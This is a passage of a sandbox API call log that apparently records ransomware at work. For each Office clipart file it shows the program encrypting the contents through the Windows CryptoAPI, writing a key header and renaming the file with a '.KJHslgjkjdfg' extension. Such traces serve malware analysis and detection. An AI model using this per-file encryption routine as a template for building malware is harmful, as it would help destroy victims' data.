dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.884] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.884] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xfea, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xfea, lpOverlapped=0x0) returned 1 [0188.884] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xff0, dwBufLen=0xff0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xff0) returned 1 [0188.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.884] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xff0, lpOverlapped=0x0) returned 1 [0188.884] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.884] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.884] SetEndOfFile (hFile=0x130) returned 1 [0188.887] GetProcessHeap () returned 0x990000 [0188.887] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.887] GetProcessHeap () returned 0x990000 [0188.887] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.887] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.kjhslgjkjdfg")) returned 1 [0188.889] CloseHandle (hObject=0x130) returned 1 [0188.889] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb6bcf00, ftCreationTime.dwHighDateTime=0x1bd4b2d, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfb6bcf00, ftLastWriteTime.dwHighDateTime=0x1bd4b2d, nFileSizeHigh=0x0, nFileSizeLow=0x2168, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00369_.WMF", cAlternateFileName="")) returned 1 [0188.889] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.890] GetProcessHeap () returned 0x990000 [0188.890] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.890] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.890] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.890] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.893] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.893] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.893] GetProcessHeap () returned 0x990000 [0188.893] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.893] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.893] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.893] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.893] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.893] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.893] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.893] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.893] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.893] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.893] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.893] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.894] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2168, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2168, lpOverlapped=0x0) returned 1 [0188.894] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2170, dwBufLen=0x2170 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2170) returned 1 [0188.895] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.895] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2170, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2170, lpOverlapped=0x0) returned 1 [0188.895] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.895] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.895] SetEndOfFile (hFile=0x130) returned 1 [0188.898] GetProcessHeap () returned 0x990000 [0188.898] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.898] GetProcessHeap () returned 0x990000 [0188.898] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.898] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00369_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00369_.wmf.kjhslgjkjdfg")) returned 1 [0188.899] CloseHandle (hObject=0x130) returned 1 [0188.899] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfcdfcc00, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfcdfcc00, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x20e8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00382_.WMF", cAlternateFileName="")) returned 1 [0188.899] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.915] GetProcessHeap () returned 0x990000 [0188.915] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.915] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.915] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.915] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.917] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.917] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.917] GetProcessHeap () returned 0x990000 [0188.917] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.917] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.917] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.917] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.917] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.917] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.917] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.917] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.917] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.917] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.917] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.917] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.918] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x20e8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x20e8, lpOverlapped=0x0) returned 1 [0188.919] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x20f0, dwBufLen=0x20f0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x20f0) returned 1 [0188.919] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.919] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x20f0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x20f0, lpOverlapped=0x0) returned 1 [0188.919] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.919] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x21c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.919] SetEndOfFile (hFile=0x130) returned 1 [0188.921] GetProcessHeap () returned 0x990000 [0188.921] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.921] GetProcessHeap () returned 0x990000 [0188.921] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.922] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00382_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00382_.wmf.kjhslgjkjdfg")) returned 1 [0188.923] CloseHandle (hObject=0x130) returned 1 [0188.923] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae630b00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x5226a510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xae630b00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2a40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00397_.WMF", cAlternateFileName="")) returned 1 [0188.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.923] GetProcessHeap () returned 0x990000 [0188.923] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.923] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.924] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.924] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.924] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.924] GetProcessHeap () returned 0x990000 [0188.924] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.924] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.924] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.924] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.926] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.926] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.926] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.926] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.926] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.927] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.927] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.927] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.927] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2a40, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2a40, lpOverlapped=0x0) returned 1 [0188.928] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a40, dwBufLen=0x2a40 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a40) returned 1 [0188.929] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.929] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2a40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2a40, lpOverlapped=0x0) returned 1 [0188.929] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.930] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.930] SetEndOfFile (hFile=0x130) returned 1 [0188.932] GetProcessHeap () returned 0x990000 [0188.932] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.932] GetProcessHeap () returned 0x990000 [0188.932] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0188.932] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.kjhslgjkjdfg")) returned 1 [0188.933] CloseHandle (hObject=0x130) returned 1 [0188.934] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad31de00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x60c23530, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xad31de00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x1ec6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="FD00403_.WMF", cAlternateFileName="")) returned 1 [0188.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00403_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00403_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0188.939] GetProcessHeap () returned 0x990000 [0188.939] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0188.939] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0188.939] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0188.940] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0188.941] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.941] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.941] GetProcessHeap () returned 0x990000 [0188.941] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0188.941] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0188.941] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.941] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0188.941] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0188.941] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0188.942] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0188.942] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0188.942] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0188.942] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0188.942] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0188.942] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.942] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1ec6, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1ec6, lpOverlapped=0x0) returned 1 [0188.943] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ed0, dwBufLen=0x1ed0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1ed0) returned 1 [0188.943] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.943] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1ed0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1ed0, lpOverlapped=0x0) returned 1 [0188.943] CryptDestroyKey (hKey=0x9b6628) returned 1 [0188.943] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1fa4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0188.943] SetEndOfFile (hFile=0x130) returned 1 [0188.945] GetProcessHeap () returned 0x990000 [0188.945] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0188.945] GetProcessHeap () returned 0x990000 [0188.945] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: 